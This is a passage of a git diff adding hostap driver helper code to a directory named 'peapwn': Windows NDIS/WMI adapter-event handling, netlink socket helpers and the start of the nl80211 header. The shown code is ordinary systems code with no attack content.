lFlags, IWbemContext *pCtx, IEnumWbemClassObject **ppEnum) +{ + BSTR bsQueryLanguage, bsQuery; + HRESULT hr; + + bsQueryLanguage = BstrAlloc(strQueryLanguage); + bsQuery = BstrAlloc(strQuery); + + hr = IWbemServices_ExecQuery(pSvc, bsQueryLanguage, bsQuery, lFlags, + pCtx, ppEnum); + + BstrFree(bsQueryLanguage); + BstrFree(bsQuery); + + return hr; +} + + +HRESULT STDMETHODCALLTYPE call_IWbemServices_ExecNotificationQueryAsync( + IWbemServices *pSvc, LPCWSTR strQueryLanguage, LPCWSTR strQuery, + long lFlags, IWbemContext *pCtx, IWbemObjectSink *pResponseHandler) +{ + BSTR bsQueryLanguage, bsQuery; + HRESULT hr; + + bsQueryLanguage = BstrAlloc(strQueryLanguage); + bsQuery = BstrAlloc(strQuery); + + hr = IWbemServices_ExecNotificationQueryAsync(pSvc, bsQueryLanguage, + bsQuery, lFlags, pCtx, + pResponseHandler); + + BstrFree(bsQueryLanguage); + BstrFree(bsQuery); + + return hr; +} + + +HRESULT STDMETHODCALLTYPE call_IWbemLocator_ConnectServer( + IWbemLocator *pLoc, LPCWSTR strNetworkResource, LPCWSTR strUser, + LPCWSTR strPassword, LPCWSTR strLocale, long lSecurityFlags, + LPCWSTR strAuthority, IWbemContext *pCtx, IWbemServices **ppNamespace) +{ + BSTR bsNetworkResource, bsUser, bsPassword, bsLocale, bsAuthority; + HRESULT hr; + + bsNetworkResource = BstrAlloc(strNetworkResource); + bsUser = BstrAlloc(strUser); + bsPassword = BstrAlloc(strPassword); + bsLocale = BstrAlloc(strLocale); + bsAuthority = BstrAlloc(strAuthority); + + hr = IWbemLocator_ConnectServer(pLoc, bsNetworkResource, bsUser, + bsPassword, bsLocale, lSecurityFlags, + bsAuthority, pCtx, ppNamespace); + + BstrFree(bsNetworkResource); + BstrFree(bsUser); + BstrFree(bsPassword); + BstrFree(bsLocale); + BstrFree(bsAuthority); + + return hr; +} + + +enum event_types { EVENT_CONNECT, EVENT_DISCONNECT, EVENT_MEDIA_SPECIFIC, + EVENT_ADAPTER_ARRIVAL, EVENT_ADAPTER_REMOVAL }; + +static int ndis_events_get_adapter(struct ndis_events_data *events, + const char *ifname, const char *desc); + + +static int ndis_events_constructor(struct ndis_events_data *events) +{ + events->ref = 1; + + if (!CreatePipe(&events->read_pipe, &events->write_pipe, NULL, 512)) { + wpa_printf(MSG_ERROR, "CreatePipe() failed: %d", + (int) GetLastError()); + return -1; + } + events->event_avail = CreateEvent(NULL, TRUE, FALSE, NULL); + if (events->event_avail == NULL) { + wpa_printf(MSG_ERROR, "CreateEvent() failed: %d", + (int) GetLastError()); + CloseHandle(events->read_pipe); + CloseHandle(events->write_pipe); + return -1; + } + + return 0; +} + + +static void ndis_events_destructor(struct ndis_events_data *events) +{ + CloseHandle(events->read_pipe); + CloseHandle(events->write_pipe); + CloseHandle(events->event_avail); + IWbemServices_Release(events->pSvc); + IWbemLocator_Release(events->pLoc); + if (--wmi_refcnt == 0) + CoUninitialize(); +} + + +static HRESULT STDMETHODCALLTYPE +ndis_events_query_interface(IWbemObjectSink *this, REFIID riid, void **obj) +{ + *obj = NULL; + + if (IsEqualIID(riid, &IID_IUnknown) || + IsEqualIID(riid, &IID_IWbemObjectSink)) { + *obj = this; + IWbemObjectSink_AddRef(this); + return NOERROR; + } + + return E_NOINTERFACE; +} + + +static ULONG STDMETHODCALLTYPE ndis_events_add_ref(IWbemObjectSink *this) +{ + struct ndis_events_data *events = (struct ndis_events_data *) this; + return ++events->ref; +} + + +static ULONG STDMETHODCALLTYPE ndis_events_release(IWbemObjectSink *this) +{ + struct ndis_events_data *events = (struct ndis_events_data *) this; + + if (--events->ref != 0) + return events->ref; + + ndis_events_destructor(events); + wpa_printf(MSG_DEBUG, "ndis_events: terminated"); + os_free(events->adapter_desc); + os_free(events->ifname); + os_free(events); + return 0; +} + + +static int ndis_events_send_event(struct ndis_events_data *events, + enum event_types type, + char *data, size_t data_len) +{ + char buf[512], *pos, *end; + int _type; + DWORD written; + + end = buf + sizeof(buf); + _type = (int) type; + os_memcpy(buf, &_type, sizeof(_type)); + pos = buf + sizeof(_type); + + if (data) { + if (2 + data_len > (size_t) (end - pos)) { + wpa_printf(MSG_DEBUG, "Not enough room for send_event " + "data (%d)", data_len); + return -1; + } + *pos++ = data_len >> 8; + *pos++ = data_len & 0xff; + os_memcpy(pos, data, data_len); + pos += data_len; + } + + if (WriteFile(events->write_pipe, buf, pos - buf, &written, NULL)) { + SetEvent(events->event_avail); + return 0; + } + wpa_printf(MSG_INFO, "WriteFile() failed: %d", (int) GetLastError()); + return -1; +} + + +static void ndis_events_media_connect(struct ndis_events_data *events) +{ + wpa_printf(MSG_DEBUG, "MSNdis_StatusMediaConnect"); + ndis_events_send_event(events, EVENT_CONNECT, NULL, 0); +} + + +static void ndis_events_media_disconnect(struct ndis_events_data *events) +{ + wpa_printf(MSG_DEBUG, "MSNdis_StatusMediaDisconnect"); + ndis_events_send_event(events, EVENT_DISCONNECT, NULL, 0); +} + + +static void ndis_events_media_specific(struct ndis_events_data *events, + IWbemClassObject *pObj) +{ + VARIANT vt; + HRESULT hr; + LONG lower, upper, k; + UCHAR ch; + char *data, *pos; + size_t data_len; + + wpa_printf(MSG_DEBUG, "MSNdis_StatusMediaSpecificIndication"); + + /* This is the StatusBuffer from NdisMIndicateStatus() call */ + hr = IWbemClassObject_Get(pObj, L"NdisStatusMediaSpecificIndication", + 0, &vt, NULL, NULL); + if (FAILED(hr)) { + wpa_printf(MSG_DEBUG, "Could not get " + "NdisStatusMediaSpecificIndication from " + "the object?!"); + return; + } + + SafeArrayGetLBound(V_ARRAY(&vt), 1, &lower); + SafeArrayGetUBound(V_ARRAY(&vt), 1, &upper); + data_len = upper - lower + 1; + data = os_malloc(data_len); + if (data == NULL) { + wpa_printf(MSG_DEBUG, "Failed to allocate buffer for event " + "data"); + VariantClear(&vt); + return; + } + + pos = data; + for (k = lower; k <= upper; k++) { + SafeArrayGetElement(V_ARRAY(&vt), &k, &ch); + *pos++ = ch; + } + wpa_hexdump(MSG_DEBUG, "MediaSpecificEvent", (u8 *) data, data_len); + + VariantClear(&vt); + + ndis_events_send_event(events, EVENT_MEDIA_SPECIFIC, data, data_len); + + os_free(data); +} + + +static void ndis_events_adapter_arrival(struct ndis_events_data *events) +{ + wpa_printf(MSG_DEBUG, "MSNdis_NotifyAdapterArrival"); + ndis_events_send_event(events, EVENT_ADAPTER_ARRIVAL, NULL, 0); +} + + +static void ndis_events_adapter_removal(struct ndis_events_data *events) +{ + wpa_printf(MSG_DEBUG, "MSNdis_NotifyAdapterRemoval"); + ndis_events_send_event(events, EVENT_ADAPTER_REMOVAL, NULL, 0); +} + + +static HRESULT STDMETHODCALLTYPE +ndis_events_indicate(IWbemObjectSink *this, long lObjectCount, + IWbemClassObject __RPC_FAR *__RPC_FAR *ppObjArray) +{ + struct ndis_events_data *events = (struct ndis_events_data *) this; + long i; + + if (events->terminating) { + wpa_printf(MSG_DEBUG, "ndis_events_indicate: Ignore " + "indication - terminating"); + return WBEM_NO_ERROR; + } + /* wpa_printf(MSG_DEBUG, "Notification received - %d object(s)", + lObjectCount); */ + + for (i = 0; i < lObjectCount; i++) { + IWbemClassObject *pObj = ppObjArray[i]; + HRESULT hr; + VARIANT vtClass, vt; + + hr = IWbemClassObject_Get(pObj, L"__CLASS", 0, &vtClass, NULL, + NULL); + if (FAILED(hr)) { + wpa_printf(MSG_DEBUG, "Failed to get __CLASS from " + "event."); + break; + } + /* wpa_printf(MSG_DEBUG, "CLASS: '%S'", vtClass.bstrVal); */ + + hr = IWbemClassObject_Get(pObj, L"InstanceName", 0, &vt, NULL, + NULL); + if (FAILED(hr)) { + wpa_printf(MSG_DEBUG, "Failed to get InstanceName " + "from event."); + VariantClear(&vtClass); + break; + } + + if (wcscmp(vtClass.bstrVal, + L"MSNdis_NotifyAdapterArrival") == 0) { + wpa_printf(MSG_DEBUG, "ndis_events_indicate: Try to " + "update adapter description since it may " + "have changed with new adapter instance"); + ndis_events_get_adapter(events, events->ifname, NULL); + } + + if (wcscmp(events->adapter_desc, vt.bstrVal) != 0) { + wpa_printf(MSG_DEBUG, "ndis_events_indicate: Ignore " + "indication for foreign adapter: " + "InstanceName: '%S' __CLASS: '%S'", + vt.bstrVal, vtClass.bstrVal); + VariantClear(&vtClass); + VariantClear(&vt); + continue; + } + VariantClear(&vt); + + if (wcscmp(vtClass.bstrVal, + L"MSNdis_StatusMediaSpecificIndication") == 0) { + ndis_events_media_specific(events, pObj); + } else if (wcscmp(vtClass.bstrVal, + L"MSNdis_StatusMediaConnect") == 0) { + ndis_events_media_connect(events); + } else if (wcscmp(vtClass.bstrVal, + L"MSNdis_StatusMediaDisconnect") == 0) { + ndis_events_media_disconnect(events); + } else if (wcscmp(vtClass.bstrVal, + L"MSNdis_NotifyAdapterArrival") == 0) { + ndis_events_adapter_arrival(events); + } else if (wcscmp(vtClass.bstrVal, + L"MSNdis_NotifyAdapterRemoval") == 0) { + ndis_events_adapter_removal(events); + } else { + wpa_printf(MSG_DEBUG, "Unepected event - __CLASS: " + "'%S'", vtClass.bstrVal); + } + + VariantClear(&vtClass); + } + + return WBEM_NO_ERROR; +} + + +static HRESULT STDMETHODCALLTYPE +ndis_events_set_status(IWbemObjectSink *this, long lFlags, HRESULT hResult, + BSTR strParam, IWbemClassObject __RPC_FAR *pObjParam) +{ + return WBEM_NO_ERROR; +} + + +static int notification_query(IWbemObjectSink *pDestSink, + IWbemServices *pSvc, const char *class_name) +{ + HRESULT hr; + WCHAR query[256]; + + _snwprintf(query, 256, + L"SELECT * FROM %S", class_name); + wpa_printf(MSG_DEBUG, "ndis_events: WMI: %S", query); + hr = call_IWbemServices_ExecNotificationQueryAsync( + pSvc, L"WQL", query, 0, 0, pDestSink); + if (FAILED(hr)) { + wpa_printf(MSG_DEBUG, "ExecNotificationQueryAsync for %s " + "failed with hresult of 0x%x", + class_name, (int) hr); + return -1; + } + + return 0; +} + + +static int register_async_notification(IWbemObjectSink *pDestSink, + IWbemServices *pSvc) +{ + int i; + const char *class_list[] = { + "MSNdis_StatusMediaConnect", + "MSNdis_StatusMediaDisconnect", + "MSNdis_StatusMediaSpecificIndication", + "MSNdis_NotifyAdapterArrival", + "MSNdis_NotifyAdapterRemoval", + NULL + }; + + for (i = 0; class_list[i]; i++) { + if (notification_query(pDestSink, pSvc, class_list[i]) < 0) + return -1; + } + + return 0; +} + + +void ndis_events_deinit(struct ndis_events_data *events) +{ + events->terminating = 1; + IWbemServices_CancelAsyncCall(events->pSvc, &events->sink); + IWbemObjectSink_Release(&events->sink); + /* + * Rest of deinitialization is done in ndis_events_destructor() once + * all reference count drops to zero. + */ +} + + +static int ndis_events_use_desc(struct ndis_events_data *events, + const char *desc) +{ + char *tmp, *pos; + size_t len; + + if (desc == NULL) { + if (events->adapter_desc == NULL) + return -1; + /* Continue using old description */ + return 0; + } + + tmp = os_strdup(desc); + if (tmp == NULL) + return -1; + + pos = os_strstr(tmp, " (Microsoft's Packet Scheduler)"); + if (pos) + *pos = '\0'; + + len = os_strlen(tmp); + events->adapter_desc = os_malloc((len + 1) * sizeof(WCHAR)); + if (events->adapter_desc == NULL) { + os_free(tmp); + return -1; + } + _snwprintf(events->adapter_desc, len + 1, L"%S", tmp); + os_free(tmp); + return 0; +} + + +static int ndis_events_get_adapter(struct ndis_events_data *events, + const char *ifname, const char *desc) +{ + HRESULT hr; + IWbemServices *pSvc; +#define MAX_QUERY_LEN 256 + WCHAR query[MAX_QUERY_LEN]; + IEnumWbemClassObject *pEnumerator; + IWbemClassObject *pObj; + ULONG uReturned; + VARIANT vt; + int len, pos; + + /* + * Try to get adapter descriptor through WMI CIMv2 Win32_NetworkAdapter + * to have better probability of matching with InstanceName from + * MSNdis events. If this fails, use the provided description. + */ + + os_free(events->adapter_desc); + events->adapter_desc = NULL; + + hr = call_IWbemLocator_ConnectServer( + events->pLoc, L"ROOT\\CIMV2", NULL, NULL, 0, 0, 0, 0, &pSvc); + if (FAILED(hr)) { + wpa_printf(MSG_ERROR, "ndis_events: Could not connect to WMI " + "server (ROOT\\CIMV2) - error 0x%x", (int) hr); + return ndis_events_use_desc(events, desc); + } + wpa_printf(MSG_DEBUG, "ndis_events: Connected to ROOT\\CIMV2."); + + _snwprintf(query, MAX_QUERY_LEN, + L"SELECT Index FROM Win32_NetworkAdapterConfiguration " + L"WHERE SettingID='%S'", ifname); + wpa_printf(MSG_DEBUG, "ndis_events: WMI: %S", query); + + hr = call_IWbemServices_ExecQuery( + pSvc, L"WQL", query, + WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY, + NULL, &pEnumerator); + if (!SUCCEEDED(hr)) { + wpa_printf(MSG_DEBUG, "ndis_events: Failed to query interface " + "GUID from Win32_NetworkAdapterConfiguration: " + "0x%x", (int) hr); + IWbemServices_Release(pSvc); + return ndis_events_use_desc(events, desc); + } + + uReturned = 0; + hr = IEnumWbemClassObject_Next(pEnumerator, WBEM_INFINITE, 1, + &pObj, &uReturned); + if (!SUCCEEDED(hr) || uReturned == 0) { + wpa_printf(MSG_DEBUG, "ndis_events: Failed to find interface " + "GUID from Win32_NetworkAdapterConfiguration: " + "0x%x", (int) hr); + IEnumWbemClassObject_Release(pEnumerator); + IWbemServices_Release(pSvc); + return ndis_events_use_desc(events, desc); + } + IEnumWbemClassObject_Release(pEnumerator); + + VariantInit(&vt); + hr = IWbemClassObject_Get(pObj, L"Index", 0, &vt, NULL, NULL); + if (!SUCCEEDED(hr)) { + wpa_printf(MSG_DEBUG, "ndis_events: Failed to get Index from " + "Win32_NetworkAdapterConfiguration: 0x%x", + (int) hr); + IWbemServices_Release(pSvc); + return ndis_events_use_desc(events, desc); + } + + _snwprintf(query, MAX_QUERY_LEN, + L"SELECT Name,PNPDeviceID FROM Win32_NetworkAdapter WHERE " + L"Index=%d", + vt.uintVal); + wpa_printf(MSG_DEBUG, "ndis_events: WMI: %S", query); + VariantClear(&vt); + IWbemClassObject_Release(pObj); + + hr = call_IWbemServices_ExecQuery( + pSvc, L"WQL", query, + WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY, + NULL, &pEnumerator); + if (!SUCCEEDED(hr)) { + wpa_printf(MSG_DEBUG, "ndis_events: Failed to query interface " + "from Win32_NetworkAdapter: 0x%x", (int) hr); + IWbemServices_Release(pSvc); + return ndis_events_use_desc(events, desc); + } + + uReturned = 0; + hr = IEnumWbemClassObject_Next(pEnumerator, WBEM_INFINITE, 1, + &pObj, &uReturned); + if (!SUCCEEDED(hr) || uReturned == 0) { + wpa_printf(MSG_DEBUG, "ndis_events: Failed to find interface " + "from Win32_NetworkAdapter: 0x%x", (int) hr); + IEnumWbemClassObject_Release(pEnumerator); + IWbemServices_Release(pSvc); + return ndis_events_use_desc(events, desc); + } + IEnumWbemClassObject_Release(pEnumerator); + + hr = IWbemClassObject_Get(pObj, L"Name", 0, &vt, NULL, NULL); + if (!SUCCEEDED(hr)) { + wpa_printf(MSG_DEBUG, "ndis_events: Failed to get Name from " + "Win32_NetworkAdapter: 0x%x", (int) hr); + IWbemClassObject_Release(pObj); + IWbemServices_Release(pSvc); + return ndis_events_use_desc(events, desc); + } + + wpa_printf(MSG_DEBUG, "ndis_events: Win32_NetworkAdapter::Name='%S'", + vt.bstrVal); + events->adapter_desc = _wcsdup(vt.bstrVal); + VariantClear(&vt); + + /* + * Try to get even better candidate for matching with InstanceName + * from Win32_PnPEntity. This is needed at least for some USB cards + * that can change the InstanceName whenever being unplugged and + * plugged again. + */ + + hr = IWbemClassObject_Get(pObj, L"PNPDeviceID", 0, &vt, NULL, NULL); + if (!SUCCEEDED(hr)) { + wpa_printf(MSG_DEBUG, "ndis_events: Failed to get PNPDeviceID " + "from Win32_NetworkAdapter: 0x%x", (int) hr); + IWbemClassObject_Release(pObj); + IWbemServices_Release(pSvc); + if (events->adapter_desc == NULL) + return ndis_events_use_desc(events, desc); + return 0; /* use Win32_NetworkAdapter::Name */ + } + + wpa_printf(MSG_DEBUG, "ndis_events: Win32_NetworkAdapter::PNPDeviceID=" + "'%S'", vt.bstrVal); + + len = _snwprintf(query, MAX_QUERY_LEN, + L"SELECT Name FROM Win32_PnPEntity WHERE DeviceID='"); + if (len < 0 || len >= MAX_QUERY_LEN - 1) { + VariantClear(&vt); + IWbemClassObject_Release(pObj); + IWbemServices_Release(pSvc); + if (events->adapter_desc == NULL) + return ndis_events_use_desc(events, desc); + return 0; /* use Win32_NetworkAdapter::Name */ + } + + /* Escape \ as \\ */ + for (pos = 0; vt.bstrVal[pos] && len < MAX_QUERY_LEN - 2; pos++) { + if (vt.bstrVal[pos] == '\\') { + if (len >= MAX_QUERY_LEN - 3) + break; + query[len++] = '\\'; + } + query[len++] = vt.bstrVal[pos]; + } + query[len++] = L'\''; + query[len] = L'\0'; + VariantClear(&vt); + IWbemClassObject_Release(pObj); + wpa_printf(MSG_DEBUG, "ndis_events: WMI: %S", query); + + hr = call_IWbemServices_ExecQuery( + pSvc, L"WQL", query, + WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY, + NULL, &pEnumerator); + if (!SUCCEEDED(hr)) { + wpa_printf(MSG_DEBUG, "ndis_events: Failed to query interface " + "Name from Win32_PnPEntity: 0x%x", (int) hr); + IWbemServices_Release(pSvc); + if (events->adapter_desc == NULL) + return ndis_events_use_desc(events, desc); + return 0; /* use Win32_NetworkAdapter::Name */ + } + + uReturned = 0; + hr = IEnumWbemClassObject_Next(pEnumerator, WBEM_INFINITE, 1, + &pObj, &uReturned); + if (!SUCCEEDED(hr) || uReturned == 0) { + wpa_printf(MSG_DEBUG, "ndis_events: Failed to find interface " + "from Win32_PnPEntity: 0x%x", (int) hr); + IEnumWbemClassObject_Release(pEnumerator); + IWbemServices_Release(pSvc); + if (events->adapter_desc == NULL) + return ndis_events_use_desc(events, desc); + return 0; /* use Win32_NetworkAdapter::Name */ + } + IEnumWbemClassObject_Release(pEnumerator); + + hr = IWbemClassObject_Get(pObj, L"Name", 0, &vt, NULL, NULL); + if (!SUCCEEDED(hr)) { + wpa_printf(MSG_DEBUG, "ndis_events: Failed to get Name from " + "Win32_PnPEntity: 0x%x", (int) hr); + IWbemClassObject_Release(pObj); + IWbemServices_Release(pSvc); + if (events->adapter_desc == NULL) + return ndis_events_use_desc(events, desc); + return 0; /* use Win32_NetworkAdapter::Name */ + } + + wpa_printf(MSG_DEBUG, "ndis_events: Win32_PnPEntity::Name='%S'", + vt.bstrVal); + os_free(events->adapter_desc); + events->adapter_desc = _wcsdup(vt.bstrVal); + VariantClear(&vt); + + IWbemClassObject_Release(pObj); + + IWbemServices_Release(pSvc); + + if (events->adapter_desc == NULL) + return ndis_events_use_desc(events, desc); + + return 0; +} + + +struct ndis_events_data * +ndis_events_init(HANDLE *read_pipe, HANDLE *event_avail, + const char *ifname, const char *desc) +{ + HRESULT hr; + IWbemObjectSink *pSink; + struct ndis_events_data *events; + + events = os_zalloc(sizeof(*events)); + if (events == NULL) { + wpa_printf(MSG_ERROR, "Could not allocate sink for events."); + return NULL; + } + events->ifname = os_strdup(ifname); + if (events->ifname == NULL) { + os_free(events); + return NULL; + } + + if (wmi_refcnt++ == 0) { + hr = CoInitializeEx(0, COINIT_MULTITHREADED); + if (FAILED(hr)) { + wpa_printf(MSG_ERROR, "CoInitializeEx() failed - " + "returned 0x%x", (int) hr); + os_free(events); + return NULL; + } + } + + if (wmi_first) { + /* CoInitializeSecurity() must be called once and only once + * per process, so let's use wmi_first flag to protect against + * multiple calls. */ + wmi_first = 0; + + hr = CoInitializeSecurity(NULL, -1, NULL, NULL, + RPC_C_AUTHN_LEVEL_PKT_PRIVACY, + RPC_C_IMP_LEVEL_IMPERSONATE, + NULL, EOAC_SECURE_REFS, NULL); + if (FAILED(hr)) { + wpa_printf(MSG_ERROR, "CoInitializeSecurity() failed " + "- returned 0x%x", (int) hr); + os_free(events); + return NULL; + } + } + + hr = CoCreateInstance(&CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER, + &IID_IWbemLocator, + (LPVOID *) (void *) &events->pLoc); + if (FAILED(hr)) { + wpa_printf(MSG_ERROR, "CoCreateInstance() failed - returned " + "0x%x", (int) hr); + CoUninitialize(); + os_free(events); + return NULL; + } + + if (ndis_events_get_adapter(events, ifname, desc) < 0) { + CoUninitialize(); + os_free(events); + return NULL; + } + wpa_printf(MSG_DEBUG, "ndis_events: use adapter descriptor '%S'", + events->adapter_desc); + + hr = call_IWbemLocator_ConnectServer( + events->pLoc, L"ROOT\\WMI", NULL, NULL, + 0, 0, 0, 0, &events->pSvc); + if (FAILED(hr)) { + wpa_printf(MSG_ERROR, "Could not connect to server - error " + "0x%x", (int) hr); + CoUninitialize(); + os_free(events->adapter_desc); + os_free(events); + return NULL; + } + wpa_printf(MSG_DEBUG, "Connected to ROOT\\WMI."); + + ndis_events_constructor(events); + pSink = &events->sink; + pSink->lpVtbl = &events->sink_vtbl; + events->sink_vtbl.QueryInterface = ndis_events_query_interface; + events->sink_vtbl.AddRef = ndis_events_add_ref; + events->sink_vtbl.Release = ndis_events_release; + events->sink_vtbl.Indicate = ndis_events_indicate; + events->sink_vtbl.SetStatus = ndis_events_set_status; + + if (register_async_notification(pSink, events->pSvc) < 0) { + wpa_printf(MSG_DEBUG, "Failed to register async " + "notifications"); + ndis_events_destructor(events); + os_free(events->adapter_desc); + os_free(events); + return NULL; + } + + *read_pipe = events->read_pipe; + *event_avail = events->event_avail; + + return events; +} diff --git a/peapwn/mods/hostap/src/drivers/netlink.c b/peapwn/mods/hostap/src/drivers/netlink.c new file mode 100644 index 000000000..6c60550fd --- /dev/null +++ b/peapwn/mods/hostap/src/drivers/netlink.c @@ -0,0 +1,198 @@ +/* + * Netlink helper functions for driver wrappers + * Copyright (c) 2002-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "eloop.h" +#include "priv_netlink.h" +#include "netlink.h" + + +struct netlink_data { + struct netlink_config *cfg; + int sock; +}; + + +static void netlink_receive_link(struct netlink_data *netlink, + void (*cb)(void *ctx, struct ifinfomsg *ifi, + u8 *buf, size_t len), + struct nlmsghdr *h) +{ + if (cb == NULL || NLMSG_PAYLOAD(h, 0) < sizeof(struct ifinfomsg)) + return; + cb(netlink->cfg->ctx, NLMSG_DATA(h), + (u8 *) NLMSG_DATA(h) + NLMSG_ALIGN(sizeof(struct ifinfomsg)), + NLMSG_PAYLOAD(h, sizeof(struct ifinfomsg))); +} + + +static void netlink_receive(int sock, void *eloop_ctx, void *sock_ctx) +{ + struct netlink_data *netlink = eloop_ctx; + char buf[8192]; + int left; + struct sockaddr_nl from; + socklen_t fromlen; + struct nlmsghdr *h; + int max_events = 10; + +try_again: + fromlen = sizeof(from); + left = recvfrom(sock, buf, sizeof(buf), MSG_DONTWAIT, + (struct sockaddr *) &from, &fromlen); + if (left < 0) { + if (errno != EINTR && errno != EAGAIN) + wpa_printf(MSG_INFO, "netlink: recvfrom failed: %s", + strerror(errno)); + return; + } + + h = (struct nlmsghdr *) buf; + while (NLMSG_OK(h, left)) { + switch (h->nlmsg_type) { + case RTM_NEWLINK: + netlink_receive_link(netlink, netlink->cfg->newlink_cb, + h); + break; + case RTM_DELLINK: + netlink_receive_link(netlink, netlink->cfg->dellink_cb, + h); + break; + } + + h = NLMSG_NEXT(h, left); + } + + if (left > 0) { + wpa_printf(MSG_DEBUG, "netlink: %d extra bytes in the end of " + "netlink message", left); + } + + if (--max_events > 0) { + /* + * Try to receive all events in one eloop call in order to + * limit race condition on cases where AssocInfo event, Assoc + * event, and EAPOL frames are received more or less at the + * same time. We want to process the event messages first + * before starting EAPOL processing. + */ + goto try_again; + } +} + + +struct netlink_data * netlink_init(struct netlink_config *cfg) +{ + struct netlink_data *netlink; + struct sockaddr_nl local; + + netlink = os_zalloc(sizeof(*netlink)); + if (netlink == NULL) + return NULL; + + netlink->sock = socket(PF_NETLINK, SOCK_RAW, NETLINK_ROUTE); + if (netlink->sock < 0) { + wpa_printf(MSG_ERROR, "netlink: Failed to open netlink " + "socket: %s", strerror(errno)); + netlink_deinit(netlink); + return NULL; + } + + os_memset(&local, 0, sizeof(local)); + local.nl_family = AF_NETLINK; + local.nl_groups = RTMGRP_LINK; + if (bind(netlink->sock, (struct sockaddr *) &local, sizeof(local)) < 0) + { + wpa_printf(MSG_ERROR, "netlink: Failed to bind netlink " + "socket: %s", strerror(errno)); + netlink_deinit(netlink); + return NULL; + } + + eloop_register_read_sock(netlink->sock, netlink_receive, netlink, + NULL); + + netlink->cfg = cfg; + + return netlink; +} + + +void netlink_deinit(struct netlink_data *netlink) +{ + if (netlink == NULL) + return; + if (netlink->sock >= 0) { + eloop_unregister_read_sock(netlink->sock); + close(netlink->sock); + } + os_free(netlink->cfg); + os_free(netlink); +} + +int netlink_send_oper_ifla(struct netlink_data *netlink, int ifindex, + int linkmode, int operstate) +{ + struct { + struct nlmsghdr hdr; + struct ifinfomsg ifinfo; + char opts[16]; + } req; + struct rtattr *rta; + static int nl_seq; + ssize_t ret; + + os_memset(&req, 0, sizeof(req)); + + req.hdr.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); + req.hdr.nlmsg_type = RTM_SETLINK; + req.hdr.nlmsg_flags = NLM_F_REQUEST; + req.hdr.nlmsg_seq = ++nl_seq; + req.hdr.nlmsg_pid = 0; + + req.ifinfo.ifi_family = AF_UNSPEC; + req.ifinfo.ifi_type = 0; + req.ifinfo.ifi_index = ifindex; + req.ifinfo.ifi_flags = 0; + req.ifinfo.ifi_change = 0; + + if (linkmode != -1) { + rta = aliasing_hide_typecast( + ((char *) &req + NLMSG_ALIGN(req.hdr.nlmsg_len)), + struct rtattr); + rta->rta_type = IFLA_LINKMODE; + rta->rta_len = RTA_LENGTH(sizeof(char)); + *((char *) RTA_DATA(rta)) = linkmode; + req.hdr.nlmsg_len = NLMSG_ALIGN(req.hdr.nlmsg_len) + + RTA_LENGTH(sizeof(char)); + } + if (operstate != -1) { + rta = aliasing_hide_typecast( + ((char *) &req + NLMSG_ALIGN(req.hdr.nlmsg_len)), + struct rtattr); + rta->rta_type = IFLA_OPERSTATE; + rta->rta_len = RTA_LENGTH(sizeof(char)); + *((char *) RTA_DATA(rta)) = operstate; + req.hdr.nlmsg_len = NLMSG_ALIGN(req.hdr.nlmsg_len) + + RTA_LENGTH(sizeof(char)); + } + + wpa_printf(MSG_DEBUG, "netlink: Operstate: linkmode=%d, operstate=%d", + linkmode, operstate); + + ret = send(netlink->sock, &req, req.hdr.nlmsg_len, 0); + if (ret < 0) { + wpa_printf(MSG_DEBUG, "netlink: Sending operstate IFLA " + "failed: %s (assume operstate is not supported)", + strerror(errno)); + } + + return ret < 0 ? -1 : 0; +} diff --git a/peapwn/mods/hostap/src/drivers/netlink.h b/peapwn/mods/hostap/src/drivers/netlink.h new file mode 100644 index 000000000..3a7340e51 --- /dev/null +++ b/peapwn/mods/hostap/src/drivers/netlink.h @@ -0,0 +1,28 @@ +/* + * Netlink helper functions for driver wrappers + * Copyright (c) 2002-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef NETLINK_H +#define NETLINK_H + +struct netlink_data; +struct ifinfomsg; + +struct netlink_config { + void *ctx; + void (*newlink_cb)(void *ctx, struct ifinfomsg *ifi, u8 *buf, + size_t len); + void (*dellink_cb)(void *ctx, struct ifinfomsg *ifi, u8 *buf, + size_t len); +}; + +struct netlink_data * netlink_init(struct netlink_config *cfg); +void netlink_deinit(struct netlink_data *netlink); +int netlink_send_oper_ifla(struct netlink_data *netlink, int ifindex, + int linkmode, int operstate); + +#endif /* NETLINK_H */ diff --git a/peapwn/mods/hostap/src/drivers/nl80211_copy.h b/peapwn/mods/hostap/src/drivers/nl80211_copy.h new file mode 100644 index 000000000..f752e9821 --- /dev/null +++ b/peapwn/mods/hostap/src/drivers/nl80211_copy.h @@ -0,0 +1,3937 @@ +#ifndef __LINUX_NL80211_H +#define __LINUX_NL80211_H +/* + * 802.11 netlink interface public header + * + * Copyright 2006-2010 Johannes Berg + * Copyright 2008 Michael Wu + * Copyright 2008 Luis Carlos Cobo + * Copyright 2008 Michael Buesch + * Copyright 2008, 2009 Luis R. Rodriguez + * Copyright 2008 Jouni Malinen + * Copyright 2008 Colin McCabe + * + * Permission to use, copy, modify, and/or distribute this software for any + * purpose with or without fee is hereby granted, provided that the above + * copyright notice and this permission notice appear in all copies. + * + * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES + * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF + * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR + * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES + * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN + * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF + * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + * + */ + +#include + +#define NL80211_GENL_NAME "nl80211" + +/** + * DOC: Station handling + * + * Stations are added per interface, but a special case exists with VLAN + * interfaces. When a station is bound to an AP interface, it may be moved + * into a VLAN identified by a VLAN interface index (%NL80211_ATTR_STA_VLAN). + * The station is still assumed to belong to the AP interface it was added + * to. + * + * Station handling varies per interface type and depending on the driver's + * capabilities. + * + * For drivers 